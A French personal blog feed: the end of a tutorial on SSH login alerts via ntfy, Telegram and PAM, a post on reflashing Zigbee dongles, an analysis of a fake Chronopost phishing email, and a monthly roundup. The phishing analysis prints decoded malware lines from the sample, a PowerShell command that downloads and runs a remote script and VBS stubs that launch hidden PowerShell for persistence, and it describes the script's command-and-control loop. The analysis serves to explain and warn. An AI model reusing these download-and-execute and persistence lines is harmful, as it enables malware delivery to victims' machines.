Et puis je me suis souvenu de ntfy que je n’avais jamais pris le temps de tester. Pour faire simple, c’est un service de notification/alerte en publish-subscribe Open Source et qu’il est possible d’auto-héberger. Le slogan est Push notifications made easy et c’est vraiment le cas. Je vous invite à faire un tour sur leur site et la documentation associée, ça marche bien, vite et simplement.

Voilà un script équivalent à celui pour Telegram:

 1#!/bin/bash
 2
 3set -eu
 4
 5if [ "$#" -ne 4 ]; then
 6  echo "Usage: $0 <ntfy_url> <basic_auth> <topic> <text message>"
 7  echo "Help basic_auth: \"echo -n 'testuser:fakepassword' | base64\""
 8  exit 1
 9fi
10
11NTFY_URL=$1
12BASIC_AUTH=$2
13TOPIC=$3
14TEXT=$4
15
16RES=$(curl -i -s -X POST -H "Authorization: Basic ${BASIC_AUTH}" -d "${TEXT}" "${NTFY_URL}/${TOPIC}")
17STATUS_CODE=$(echo "$RES" | head -n 1 | awk -F' ' '{print $2}')
18
19if [[ $STATUS_CODE -ne 200 ]] ; then
20  echo "error while sending alert"
21  echo "${RES}"
22  exit 1
23fi

On pourrait également utiliser la CLI pour quelque-chose de similaire (voir ici).

L’avantage en auto-hébergement est que vous restez maitre de vos données. L’inconvénient vient des cas d’usages. Par exemple, si vous avez:

un serveur A avec quelques services dont ntfy
un serveur B avec un service de monitoring comme uptime-kuma qui est censé envoyer un message quand un service est tombé sur le serveur A, si le service en question est ntfy, c’est ballot (idem si c’est tout le serveur A qui tombe).

Envoyer l’alerte à la connexion SSH

Avec profile.d

L’astuce va être de profiter de /etc/profile qui va exécuter des scripts à chaque connexion (SSH ou pas) pour chaque utilisateur de la machine.

Il suffit alors de créer un fichier (disons login-notify.sh) dans le dossier /etc/profile.d/ avec ce type de contenu (à adapter selon vos besoins/envies):

 1#!/bin/bash
 2
 3BOT_TOKEN="to-replace"
 4GROUP_ID="to-replace"
 5
 6IP="$(echo "${SSH_CONNECTION}" | awk -F' ' '{print $1}')"  # does not work for local connection
 7DATE="$(date)"
 8NAME="$(whoami)"
 9NB_USERS=$(who | wc -l)
10
11MESSAGE="""
12New login to ${HOSTNAME} server!
13\"${NAME}\" from \"${IP}\"
14${NB_USERS} users connected
15${DATE}
16"""
17
18/path/to/send-telegram.sh "${BOT_TOKEN}" "${GROUP_ID}" "${MESSAGE}"

Vous pouvez ne mettre les droits de lecture à ce fichier qu’à l’utilisateur root si vous y mettez votre BOT_TOKEN par exemple.

Là, j’utilise le script pour Telegram, mais on pourrait utiliser celui pour ntfy (avec pourquoi pas du retry sur Telegram en cas d’échec). On pourrait également n’envoyer une notification que via le ~/.bash_profile pour rester uniquement à notre utilisateur.

Avec l’API PAM

L’astuce avec profile.d marche bien dans le cas de connexions ssh classiques. Mais si je fais ce type de commande ssh user@mymachine uptime, aucune notification ne sera envoyée parce qu’au environnement ne sera créé.

On peut alors dans ce cas plutôt se tourner vers l’API PAM dont voici sa description selon Wikipédia:

Pluggable Authentication Modules est une API permettant d’offrir aux programmes des services d’authentification, d’autorisation et de contrôle d’ouverture de sessions.

Bref, entrons dans le vif du sujet.

Dans votre fichier /etc/ssh/sshd_config, assurez-vous de mettre la valeur UsePAM à yes. Personnellement, j’ai également ChallengeResponseAuthentication et PasswordAuthentication à no: dans ce cas, on utilise pas PAM pour l’authentification (je continue à utiliser uniquement l’authentification par clés).

On peut ensuite commencer:

on crée un dossier: mkdir -p /etc/pam.scripts
on y place le même contenu que le fichier login-notify.sh de la section précédente
on ajoute les droits exécutables sur notre fichier: chmod +x /etc/pam.scripts/login-notify.sh
à la fin de /etc/pam.d/sshd, on rajoute session optional pam_exec.so /etc/pam.scripts/login-notify.sh

Le mot clé optional est important, parce que si votre message Telegram ou votre notification ntfy retourne une erreur, alors la connexion SSH sera bloquée. Or si c’est le même serveur qui gère votre serveur ntfy et qu’il est tombé, vous ne pourrez plus vous y connecter. On reste donc sur du “best-effort”, ce n’est donc pas une sécurité absolue mais un petit plus (comme toujours en sécurité).

Aussi, il est possible d’utiliser if [ ${PAM_TYPE} = "open_session" ]; then autour de l’envoi du message (sans oublier le fi à la fin) pour notifier uniquement en cas d’ouverture de session, sinon il y aura aussi les fermetures.

Conclusion

Voilà qui clôt ce tutoriel. Je ne vous invite pas forcément à copier-coller les scripts mais plutôt à les adapter à vos besoins. Le but était surtout de donner des idées: on peut en effet exécuter des scripts à chaque login (et donc par extension faire ce que l’on veut).

Dans le même esprit, si vous avez d’autres idées dans le même genre, n’hésitez pas à les partager dans les commentaires ci-dessous.

[Tutoriel] Flasher les dongles CC2531 et ZLinky

Pofilo — Sat, 08 Jul 2023 00:00:00 +0000

Bonjour à tous,

À mon réveil ce matin, je découvre une notification laissée par mon instance uptime-kuma me disant que mon instance Zigbee2MQTT était inaccessible depuis hier 23h52.

Un peu de contexte

uptime-kuma est un outil très pratique permettant de monitorer différents services. On peut y configurer des services de notifications, en l’occurrence je reçois un message sur Telegram dès qu’un service devient inaccessible.

Je possède des équipements de domotiques communiquant en Zigbee tels que des capteurs de températures mais aussi le ZLinky dont je reparlerai plus tard.

Mon instance de Home Assistant (je vous laisse voir l’article en lien si vous ne connaissez pas) gère facilement le MQTT. Zigbee2MQTT est un logiciel permettant de convertir les messages venant du protocole Zigbee au protocole MQTT.

Pour que Zigbee2MQTT puisse traduire les messages envoyés via le protocole Zigbee, un dongle permettant de recevoir ces messages est nécessaire. Dans mon cas, il s’agit du dongle CC2531 que j’ai acheté fin novembre 2018. Il fonctionne encore parfaitement avec Zigbee2MQTT mais n’est plus recommandé. Dans mon cas, ce dongle est connecté en USB à mon Raspberry Pi.

Le drame

Bref, ce matin, je reçois donc la notification m’indiquant que Zigbee2MQTT est tombé. J’essaie de m’y connecter via l’interface web: rien.

Je me connecte directement au Raspberry Pi pour voir les logs, et là, je tombe là-dessus:

Failed to read zigbee attributes: Error: Read 0xxxxxxxxxxxxxxxxx/1 liXeePrivate(["currentTarif"], {"sendWhen":"immediate","timeout":10000,"disableResponse":false,"disableRecovery":false,"disableDefaultResponse":true,"direction":0,"srcEndpoint":null,"reservedBits":0,"manufacturerCode":null,"transactionSequenceNumber":null,"writeUndiv":false}) failed (SRSP - AF - dataRequest after 6000ms)
Failed to read zigbee attributes: Error: Read 0xxxxxxxxxxxxxxxxx/1 haElectricalMeasurement(["rmsCurrentMax"], {"sendWhen":"immediate","timeout":10000,"disableResponse":false,"disableRecovery":false,"disableDefaultResponse":true,"direction":0,"srcEndpoint":null,"reservedBits":0,"manufacturerCode":null,"transactionSequenceNumber":null,"writeUndiv":false}) failed (SRSP - AF - dataRequest after 6000ms)
Failed to read zigbee attributes: Error: Read 0xxxxxxxxxxxxxxxxx/1 seMetering(["meterSerialNumber"], {"sendWhen":"immediate","timeout":10000,"disableResponse":false,"disableRecovery":false,"disableDefaultResponse":true,"direction":0,"srcEndpoint":null,"reservedBits":0,"manufacturerCode":null,"transactionSequenceNumber":null,"writeUndiv":false}) failed (SRSP - AF - dataRequest after 6000ms)
Failed to read zigbee attributes: Error: Read 0xxxxxxxxxxxxxxxxx/1 seMetering(["activeRegisterTierDelivered"], {"sendWhen":"immediate","timeout":10000,"disableResponse":false,"disableRecovery":false,"disableDefaultResponse":true,"direction":0,"srcEndpoint":null,"reservedBits":0,"manufacturerCode":null,"transactionSequenceNumber":null,"writeUndiv":false}) failed (SRSP - AF - dataRequest after 6000ms)
Failed to read zigbee attributes: Error: Read 0xxxxxxxxxxxxxxxxx/1 haMeterIdentification(["availablePower"], {"sendWhen":"immediate","timeout":10000,"disableResponse":false,"disableRecovery":false,"disableDefaultResponse":true,"direction":0,"srcEndpoint":null,"reservedBits":0,"manufacturerCode":null,"transactionSequenceNumber":null,"writeUndiv":false}) failed (SRSP - AF - dataRequest after 6000ms)

Ces logs sont répétés plusieurs fois avant de tomber sur:

Zigbee2MQTT:error 2023-07-06 23:50:28: Adapter disconnected, stopping
Zigbee2MQTT:error 2023-07-06 23:50:28: Failed to stop Zigbee2MQTT
Using '/app/data' as data directory
Zigbee2MQTT:error 2023-07-06 23:50:36: Error while starting zigbee-herdsman
Zigbee2MQTT:error 2023-07-06 23:50:36: Failed to start zigbee
Zigbee2MQTT:error 2023-07-06 23:50:36: Check https://www.zigbee2mqtt.io/guide/installation/20_zigbee2mqtt-fails-to-start.html for possible solutions
Zigbee2MQTT:error 2023-07-06 23:50:36: Exiting...
Zigbee2MQTT:error 2023-07-06 23:50:36: Error: Error while opening serialport 'Error: Error: No such file or directory, cannot open /dev/ttyACM0'
    at SerialPort.<anonymous> (/app/node_modules/zigbee-herdsman/src/adapter/z-stack/znp/znp.ts:146:28)
    at SerialPort._error (/app/node_modules/@serialport/stream/dist/index.js:75:22)
    at /app/node_modules/@serialport/stream/dist/index.js:111:18

Après 8 tentatives, les redémarrages échouent désormais sur cette erreur:

Using '/app/data' as data directory
Zigbee2MQTT:error 2023-07-06 23:52:54: Error while starting zigbee-herdsman
Zigbee2MQTT:error 2023-07-06 23:52:54: Failed to start zigbee
Zigbee2MQTT:error 2023-07-06 23:52:54: Check https://www.zigbee2mqtt.io/guide/installation/20_zigbee2mqtt-fails-to-start.html for possible solutions
Zigbee2MQTT:error 2023-07-06 23:52:54: Exiting...
Zigbee2MQTT:error 2023-07-06 23:52:54: Error: AREQ - ZDO - stateChangeInd after 60000ms
    at Timeout._onTimeout (/app/node_modules/zigbee-herdsman/src/utils/waitress.ts:64:35)
    at listOnTimeout (node:internal/timers:569:17)
    at processTimers (node:internal/timers:512:7)

Bref, après une première analyse, on dirait que le module ZLinky (j’en reparlerai plus tard) a envoyé des données qui ont fait crasher le dongle Zigbee.

Je débranche/rebranche le dongle: toujours rien.

Je reboot le Rasbperry Pi: toujours rien.

Là, je suis quand même bien embêté, il est 7 heures du matin et les températures extérieures commencent doucement à monter. Or, Home Assistant m’envoie une notification quand les températures extérieures deviennent plus importantes qu’à l’intérieur: il est temps de fermer les fenêtres. Tout ça est impacté par un souci semblant venir du ZLinky qui n’a pas grand-chose à voir …

Flasher le dongle CC2531

Après quelques recherches sur internet, il semblerait que reflasher l’adaptateur Zigbee solutionnerait le problème. J’imagine qu’il est briqué bien que ça soit plutôt étrange car ça fait plusieurs années que ça tourne (sans trop de problèmes, j’y reviendrai).

Pour la suite, je vous laisse suivre les informations fournies par Zigbee2MQTT sur cette page (archive disponible ici). La version sur Github est accessible ici et je possède un miroir ici si jamais.

Si jamais des liens seraient morts, n’hésitez pas à me contacter pour qu’éventuellement, je puisse vous fournir les logiciels/binaires.

Dans mon cas, j’ai reflashé la même version (la Z-Stack_Home_1.2 (default)) que celle que je possédais déjà (il n’y en a pas eu de nouvelles mises à jour entre-temps de toutes façons). Si vous ne savez pas quelle version installer, cette page (miroir ici) devrait pouvoir vous aider.

Flasher le dongle ZLinky

Nous arrivons maintenant au dongle ZLinky. C’est un dongle qui se connecte directement sur le Linky et qui est alimenté par celui-ci. Il permet d’envoyer les informations du Linky via le protocole Zigbee.

Je l’avais acheté relativement tôt à la sortie du produit, j’ai donc une des toutes premières version hardware du dongle. Cela m’a valu quelques soucis, notamment lorsque celui-ci était encore instable. À noter qu’il y aurait une soudure possible pour corriger (ou améliorer ?) le soucis. Cependant, depuis la version 7 logicielle, il existe 2 modes: routeur et “limited”.

Pour ma part, je ne sais pas si j’ai de la chance ou pas, mais je n’ai ni la correction “hardware”, ni la version “limited” et je n’ai plus de soucis d’instabilités (sauf pour cette nuit à priori).

Bref, pour flasher le dongle, je vous redirige vers la procédure officielle (miroir ici) qui va finir par vous rediriger sur cette procédure (archive ici).

Evidemment, il a fallu que je dise que j’avais de la chance pour que le ZLinky ne me renvoie plus que les mêmes valeurs en boucle … Je ne peux que difficilement vous conseiller ce dongle, beaucoup trop instable, de cheveux arrachés et de temps perdu …

Conclusion

Cet article permet de rediriger vers les procédures officielles (pas besoin de paraphraser ce qui est déjà fait). Peut-être qu’il vous servira, pour ma part, il me permettra de retrouver simplement les procédures à suivre pour flasher à nouveaux ces appareils dans le futur.

[Analyse] Un phishing, comment ça marche ?

Pofilo — Tue, 30 Nov 2021 00:00:00 +0000

Bonjour à tous,

Je reçois de temps en temps des phishings, principalement sur une des mes anciennes adresses mail. Un jour, alors que j’en recevais un de plus, j’ai décidé d’en faire une petite analyse.

Dans cet article, on va voir qu’un mail peut cacher plein d’infos, notamment son véritable expéditeur. Ensuite, je vais rappeler rapidement ce qu’est un phishing, pour finir par l’analyse en question !

Disclaimer

Tout ce qui va être décrit dans cet article a été réalisé dans un contexte maîtrisé. Je vous déconseille fortement de cliquer sur ces mails en dehors d’un environnement dédié, même si vous pensez maîtriser ce qui pourrait se passer.

De plus, toute information sera anonymisée pour des raisons évidentes.

Plus d’infos sur les mails

Les données derrière un mail

Quand on reçoit un mail, ce n’est ni plus ni moins que des données dans un certain format. On va retrouver plusieurs champs comme l’expéditeur, le destinataire, le sujet, la date, le contenu du mail, etc… C’est notre client mail qui va récupérer ces informations pour en faire un joli affichage lisible.

Quand on envoie un mail, on s’authentifie auprès d’un serveur de mail et on précise le destinataire de notre mail. On peut envoyer ce que l’on veut dans un mail. Il est par exemple possible de personnaliser le champ Expéditeur d’un mail.

Dans cette démonstration, je me suis envoyé un mail à moi-même en me faisant passer pour quelqu’un que je ne suis pas.

Envoi d'un mail avec usurpation

Et voici le mail que j’ai reçu (je n’ai flouté que la partie comprenant mon mail, le reste est réellement ce qui était affiché).

Réception d'un mail avec usurpation

En réalité, si on regarde la source du mail (je vous laisse chercher sur un moteur de recherche comment le faire selon votre client mail, ils sont tous différents !), je trouve:

From: "Emmanuel Macron" <president@republique.fr>

Les clients mails utilisent ce champ pour afficher l’expéditeur. Mais si on cherche plus, on trouve:

Received-SPF: Neutral (mailfrom) identity=mailfrom; client-ip=xx.xx.xx.xx; helo=smtp.xxxx.xx; envelope-from=president@republique.fr; receiver=xxxx@xxxx.xx
Received: from smtp.xxxx.xx (smtp05.xxxx.xx [xx.xx.xx.xx])
    by xxx.xxx.xx (Postfix) with ESMTPS id xxxxxxxx
    for <xxxx@xxxxx.xx>; Sun, 28 Nov 2021 17:10:30 +0000 (UTC)

On peut savoir depuis quel serveur le mail a réellement été envoyé, mais dans mon cas, je n’ai jamais retrouvé l’adresse mail utilisée sur le serveur pour envoyer le mail.

Bref, sans chiffrement ou sans signature numérique, il est impossible d’authentifier les mails que vous recevez (d’où l’importance de les chiffrer et/ou de les signer !).

Un phishing, qu’est-ce que c’est ?

Comme on vient de le voir, on peut facilement usurper l’identité de quelqu’un avec les mails (ce qui, je le rappelle, est interdit par la loi).

Un phishing (hameçonnage en français) est donc une forme d’escroquerie dans laquelle un usurpateur va se faire passer pour quelqu’un qu’il n’est pas mais qui pourrait vous envoyer des mails (comme une banque, la SNCF, etc…). L’usurpateur va faire ressembler le plus possible le mail de phshing avec un mail qui pourrait être réel dans le but de vous faire cliquer sur un lien et/ou de vous soutirer des informations comme un mot de passe ou une carte bleue.

Exemple: vous recevez un mail d’une société (connue comme la SNCF ou Easyjet) vous demandant de mettre à jour votre mot de passe avec un lien vers un site qui ressemble au vrai site. Sauf que c’est un faux site mais dans lequel vous allez être tenté de rentrer vos vrais identifiants.

Analyse du phishing

Maintenant, on va tenter d’analyser et de décortiquer ce fameux phshing que j’ai reçu.

La réception et le mail en lui-même

Tout d’abord, depuis mon client webmail, le mail n’a presque rien de douteux.

Avant l'ouverture du mail

Par contre, si on regarde sur la page Éviter les tentatives d’escroqueries de Chronopost, on voit que l’expéditeur devrait entre autres être ne-pas-repondre@chronopost.fr. Ici, on a noreply suivi d’un nombre aléatoire, bref, déjà rien que là, on est en mesure d’établir que ce n’est pas un vrai mail de Chronopost.

Ensuite, on ouvre le mail et à première vue, il ressemble parfaitement à un mail classique de Chronopost (surtout que j’attendais un colis cette même semaine …).

Réception du phishing

Mais si on reprend la page d’aide de Chronopost, ils précisent clairement de vérifier:

le numéro de suivi: il n’y en a pas dans le mail.
l’adresse de livraison: idem.
les liens externes qui doivent tous rediriger vers leur site (en survolant le lien, on voit la cible en bas du navigateur)

C’est sur ce dernier point que l’on peut s’attarder. Déjà, si on regarde mieux le lien qui demande à être cliqué, on voit que la couleur n’est pas la même, et il y a un fond bleu clair sur le texte. C’est un point que je ne comprends toujours pas, pourquoi ces mails sont toujours bourrés de typos (pas ici cela dit) ou de détails comme ça qui les trahissent ? …

Si on survole le lien de suivi de colis, on obtient le détail: https://filetransfer.io/xxx/xxx/download, ici c’est donc un site de partage de fichiers. Bon clairement, on avait pas besoin de plus d’indices, mais là, ça devient gros … Tous les autres liens pointent cependant sur le site officiel de Chronopost.

Si on regarde ensuite la source du mail, voici ce qu’on peut notamment trouver:

Received: from xxxx ([xxx.xxx.xxx.xxx])
    by xxxx.xxx.xx with LMTP
    id xxxx
    (envelope-from <noreply855462544@chronopost.fr>)
    for <xxxx@xxx.xx>; Wed, 29 Sep 2021 15:38:43 +0200
From: "noreply855462544@chronopost.fr" <noreply855462544@chronopost.fr>

Tiens, on retrouve cette adresse mail visible depuis le client mail, mais rien d’autre ne fait mention de Chronopost. Enfin, le contenu du mail est de l’HTML encodé en base64 comme il est relativement courant de le faire.

Le lien cliquable

Ici, il semble donc n’y avoir qu’un seul piège: le lien à cliquer. Comme dit précédemment, ce lien pointe vers un site de partage de fichiers.

Il ne faut bien sûr pas cliquer dessus, mais j’ai trouvé le mail mignon: dans la forme, c’est presque réussi mais dans le fond, c’est peu crédible. Est-ce que le fait que j’attendais un colis Chronopost cette semaine-là m’a aussi inconsciemment fait tiquer ? (bien que ça ne soit pas la bonne adresse mail). C’est sûrement un mélange de ces raisons qui m’a poussé à investiguer un petit peu le sujet.

Bref, je me suis donc placé dans un environnement sécurisé (je ne vais pas rentrer dans les détails, mais ne prenez pas ces choses à la légère !!).

Le fichier téléchargé via le site de partage de fichiers se nomme en réalité: Colis__xxxx.vbs (xxxx pour anonymiser les vrais chiffres). C’est un donc programme à exécuter, vbs étant une extension pour des scripts Visual Basic sur Windows.

Ni une, ni 2, en voici son contenu (anonymisé).

Le premier script

À première vue, c’est un peu déroutant, mais on comprend vite que c’est une façon de ne pas écrire directement du code. On peut facilement imaginer que c’est dans le but d’éviter les antivirus, une sorte d’offuscation pour les antivirus afin que ces derniers ne jugent pas ce fichier comme un virus.

Attardons-nous un peu plus sur ce script. On commence par trouver une variable nommée Script qui est une longue variable dont un pattern va ensuite être retiré à la ligne 4.

Une fois décodées, voici ce que valent les 3 variables:

Script:

[System.Net.WebClient]$WEB=New-Object System.Net.WebClient;$WEB.DownloadFile('https://xxxxx.xxxxx.xx/wp-content/plugins/ninja-forms/classes/dir/dir.txt','C:\Users\Public\dir.PS1');PowerShell -File C:\Users\Public\dir.PS1

O: wscript.shell
ASM: PowerShell -ExecutionPolicy RemoteSigned -Command " (suivi du contenu de script).

En réalité, on se retrouve donc à télécharger un nouveau script chez l’utilisateur Windows Invité.

Si on analyse l’adresse depuis laquelle ce script va être téléchargé, on se rend compte que c’est depuis un site Wordpress via un plugin nommé Ninja Forms. En regardant sur Internet, on se rend compte très vite que ce plugin a comporté de très grosses failles de sécurité corrigées depuis.

On parle alors d’un site Wordpress qui n’a pas été mis à jour depuis un moment et sur lequel nos pirates stockent un de leurs scripts Powershell (un autre langage de scripting principalement pour Windows).

Rappels de sécurité

Encore une fois, mettez à jour vos services exposés sur le net ! On entend souvent qu’il faut éviter Wordpress car c’est une usine à gaz et une source à problèmes. Je dirai plutôt que c’est une source à problème pour ceux ne prenant pas le temps de faire les mises à jour.

Maintenant, les mises à jours peuvent se faire automatiquement, c’est à la fois très positif et utile la majorité du temps. Mais on aura bientôt des problèmes comme sur NPM ou des pirates réussissent à introduire du code malveillant et à sortir de nouvelles versions via des comptes Github ou autres ayant l’autorisation de le faire.

Bref, on ne peut pas héberger soi-même des services web sans avoir conscience des risques et sans avoir un minimum de compétences sur ce sujet ainsi que du temps à y consacrer.

Le deuxième script

Voici le contenu du deuxième script alors téléchargé.

Là, on voit clairement que le pirate essaie encore de masquer aux antivirus certaines actions, mais ça reste tout de même très explicite !

On retrouve pour commencer quelques variables dont une adresse IP et un port. Ensuite, on retrouve quelques fonctions puis l’appel de ces fonctions et notamment dans une boucle infinie.

Je ne vais pas tout détailler, mais on commence par la fonction inf qui va récupérer des informations telles que le nom de l’antivirus, l’adresse MAC ou encore des détails sur le système d’exploitation et sa version.

Ensuite, on retrouve une fonction install qui va écrire un nouveau script nommé Windows10DecemberUpdate.vbs. Si on décode la variable startup, on trouve:

Set OBB = CreateObject("WScript.Shell")
OBB.Run "PowerShell -ExecutionPolicy RemoteSigned -File "+"%FILE%",0

Avec %FILE% qui est par la suite remplacé par $PSCommandPath qui est en réalité le chemin courant. Donc on va se retrouver avec un script (dont la plupart des gens vont croire qu’il est légitime car nécessaire pour que Windows fasse ses mises à jour) mais qui en réalité permet de lancer des scripts.

Par la suite, on trouve une fonction Get-AntivirusName qui est utilisée par la fonction inf décrite précédemment. La fonction suivante Binary2String est une fonction inutilisée. Oui, on retrouve du code mort, même dans un script de pirate !

La fonction POST suivante est intéressante, car elle permet d’envoyer des informations sur l’adresse IP et le port indiqué en haut du script.

Pour finir, on se retrouve dans une boucle infinie while($true) avec une attente entre chaque boucle via [System.Threading.Thread]::Sleep(3000). En réalité, la boucle commence par envoyer une requête via la fameuse fonction POST pour ensuite réaliser une action différente selon ce que le serveur pirate aura répondu.

Cas “RF”

Dans ce cas, un script dont le nom et le contenu aura été répondu par le pirate va être écrit puis exécuté. C’est donc une porte d’entrée supplémentaire pour notre pirate.

Cas “TR”

On trouve ici une variable encodée StartupContent qui contient littéralement:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "Powershell -ExecutionPolicy Bypass -File " + "%PT%", 0

Ce bout de code va être transformé pour remplacer %PT% par le chemin du script que l’on va voir juste après.. Enfin, ceci va être écrit dans un fichier nommé WinLOGON.vbs.

On a ensuite la variable PsFileName qui correspond à un nom de fichier généré aléatoirement avec l’extension powershell. Comme pour le cas précédent, on va écrire dans ce fichier TargetPath le contenu renvoyé par le serveur du pirate.

Tout ceci est ensuite exécuté.

Cas “exc” et “Sc”

On reprend le même principe que le cas “RF”, on crée un script que l’on remplit avec les données provenant du serveur pirate et on l’exécute.

En résumé, je ne comprends pas vraiment pourquoi avoir différencié ces cas puisqu’ils font la même chose mais que c’est juste écrit différemment.

Mise en pratique

Pour aller plus loin, j’ai développé des scripts pour envoyer des messages exactement dans le format attendu par le serveur du pirate. J’ai également préparé de quoi faire des captures Wireshark et bloqué toutes les IP sauf celle du serveur pirate. Et c’est parti, que la communication commence !

J’ai été déçu. Oui, le serveur était bien opérationnel, mais il ne répondait que les acknowledgement (message qui veut dire “Oui, j’atteste avoir reçu ton message”).

Capture wireshark

J’ai essayé de jouer sur les paramètres comme la version de Windows ou le nom de l’antivirus dans la requête qui part au serveur. Mais je n’ai jamais eu de réponse tombant dans un des cas du switch où le pirate nous demanderait de faire quelque-chose.

Est-ce que le pirate demande à ses ordinateurs (ce sont un peu les siens vu qu’il a le contrôle dessus) de miner des cryptomonnaies ?

Est-ce qu’il les laisse dormir le temps d’avoir une cible sur laquelle faire une attaque par déni de service ?

Est-ce qu’il cible une version précise de Windows/Antivirus pour installer un ransomware ? (c’est une sorte de virus qui va chiffrer tout votre disque dur pour demander une rançon pour le déchiffrer).

Ce mystère restera donc entier !

Analyse du serveur pirate

À partir de son adresse IP, je n’ai fait qu’une seule chose, j’ai regardé ce que Shodan avait à me dire. Il s’agit donc d’un serveur tournant sur Windows Server 2012 (une vieille version donc) sur un VPS (un petit serveur privé). A l’heure où j’écris ces lignes (2 mois après la réception du phishing et de mes premières analyses le soir même), le serveur est toujours opérationnel avec le port 1177 toujours ouvert.

D’ailleurs, voici ce qu’il a répondu à la dernière requête des robots de Shodan:

HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: xxx, xx Nov 2021 xx:xx:xx GMT
Connection: close
Content-Length: 326

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Bad Request - Invalid Verb</h2>
<hr><p>HTTP Error 400. The request verb is invalid.</p>
</BODY></HTML>

Le serveur s’attend en effet à avoir des requêtes au format qu’on a pu voir précédemment.

Enfin, pour revenir sur le port 1177, je n’ai rien trouvé d’ultra probant sur un logiciel l’utilisant et ayant pu avoir une faille de sécurité. Je ne sais donc pas si ce serveur a lui-même été piraté comme le site Wordpress pour le premier script ou bien s’il appartient vraiment au pirate. Au vu de la version du serveur, je partirai quand même sur la première hypothèse.

Conclusion

Ce phishing est donc un faux mail de Chronopost invitant à télécharger une pièce jointe nommée Colis__xxxx.vbs. Il faut ensuite que la personne clique sur ce lien pour que la magie opère. Ce n’est donc pas vraiment un très bon phishing, je pense que toute personne un minimum sensibilisée saura qu’il ne faut pas télécharger la pièce jointe, et encore moins l’ouvrir par la suite !

De plus, on peut voir sur le premier script les techniques d’offuscation pour que les antivirus laissent passer le script. Par curiosité, j’ai fait le test (en remplaçant la vraie URL par une URL bidon comme dans le lien que j’ai partagé), et l’antivirus de base de Windows l’a immédiatement mis en quarantaine et reconnu comme un virus.

On est pas en présence d’un phishing très sophistiqué, mais j’ai trouvé ce petit jeu de rétro-ingénierie assez intéressant pour voir ce qui pouvait réellement se cacher derrière.

Même si on a pas de certitudes sur le fameux dernier serveur, on sait que le site Wordpress était exploité par le pirate via une faille dans un plugin. Ce genre de failles exploitées de la sorte rendent le véritable pirate beaucoup plus discret.

Pour finir, pour ceux qui pensent que ce monde des virus n’est réservé qu’aux utilisateurs Windows, détrompez-vous, il existe par exemple un virus sur Linux capable d’exploiter les cron jobs (système de tâches automatisées). Vous pouvez en savoir plus dans cet article et comme on peut le voir sur ce post Reddit, ce n’est pas nouveau !

[Pêle-mêle] Mon mois d'octobre, en quelques actus

Pofilo — Sun, 31 Oct 2021 00:00:00 +0000

Bonjour à tous,

En ce dernier jour du mois d’octobre, voici pour moi l’occasion dans cet article de traiter différents sujets et notamment de quelques projets à venir. Voici donc le 4ème article de la série Pêle-mêle.

Mon nouveau PC de gamer

Cela fait seulement 4 ans que j’ai acheté ma tour de Gamer. Mais à l’époque, je commençais à peine à travailler, j’avais donc pris du milieu de gamme en termes de prix. Le problème dans ce domaine est que les besoins en performance évoluent très rapidement. Dernièrement, j’étais alors bloqué par mon CPU qui n’étais plus assez puissant pour faire tourner les derniers jeux, même en faible qualité.

À l’époque, je m’étais dit que j’aurai juste à changer le processeur, mais ma carte mère n’est pas capable aujourd’hui de faire tourner un processeur plus puissant. Si je voulais changer de CPU, il était alors également nécessaire de changer la carte mère, et donc probablement l’alimentation.

Bref, ça faisait plusieurs mois que je regardais de temps en temps ce que je pouvais éventuellement faire en guise d’amélioration.

Un autre point concerne mon temps de jeu, celui-ci diminue au fil des années et je n’ai pas envie de perdre ce précieux temps sur des problèmes parce que mon PC a du mal à faire tourner certains jeux ou pour la configuration d’un jeu. De plus, j’aimerais avoir la meilleure expérience pour ce temps de jeu qui est donc plus faible qu’auparavant. J’ai maintenant envie de juste lancer le jeu et que ça marche, sans aucune bidouille. J’ai même hésité à partir sur les consoles next-gen (qui sont au final la génération actuelle maintenant !) mais les promos Steam ou les jeux gratuits de toutes parts ne sont pas négligeables sur la balance finale !

La pénurie de composants a rendu les prix très élevés, mais un soir, je me suis décidé et j’ai donc sélectionné des composants compatibles mais cette fois dans le haut de gamme. J’ai donc choisi:

une carte Geforce RTX 3070 (impossible de passer sur une 3080, les prix en deviennent absurdes)
une carte mère MSI Z590 Wifi
un processeur Intel Core i9-11900K
un ventirad be quiet! Dark Rock Pro 4
une alimentation EVGA SuperNOVA 850 GA, 80 Plus Gold 850W entièrement modulable
des ventilateurs silencieux be quiet! Slient Wings 3 PWM.

Ceux qui connaissent un petit peu ce domaine savent que j’ai cassé la tirelire pour les 3 premiers et surtout la carte graphique. Mais là, j’espère tenir au moins 5-6 ans avant de commencer à me faire à l’idée de devoir faire tourner les jeux en basse qualité graphique et de commencer à râler !

Le montage du PC a été une étape assez intéressante à réaliser, j’avais acheté l’ancienne configuration déjà montée, mais cette fois-ci, ce n’est pas la même satisfaction quand tout fonctionne du premier coup après plusieurs heures de montage !

Qui dit PC de gaming dit PC sous Windows (surtout que j’ai un volant pour le simracing, une galère sans nom sous Linux), je suis donc parti sur une installation toute propre. J’ai bien surveillé la température du processeur sur les premières heures, car c’est la première fois que je ne suis pas sur du watercooling. De plus, j’avais un peu peur car je trouvais qu’il y avait un peu de jeu entre le processeur et le ventirad, mais finalement, je dépasse rarement les 70 degrés en usage intensif !

Concernant les ventilateurs be quiet!, leur faible bruit est incroyable (quand on voit le prix à l’unité, c’est peut-être la moindre des choses cela dit !), si vous en avez les moyens et également le besoin d’un PC plus silencieux, je vous les recommande !!

Et enfin, pour toutes les anciennes pièces remplacées, j’ai déjà réussi à tout revendre sur leboncoin, je me suis rendu compte qu’il y a une belle demande de ce genre de matériel et ça ne va pas rester au fond d’un placard donc je suis content pour leur seconde vie :)

Projets en cours et à venir

Développement d’un plugin pour Traefik

J’en parlais le mois dernier, je n’ai malheureusement pas eu le temps de continuer ce petit bout de développement … Mais j’ai pas mal d’idées, ça devrait se faire d’ici la fin de l’année ou en début d’année prochaine.

Analyse d’un phishing

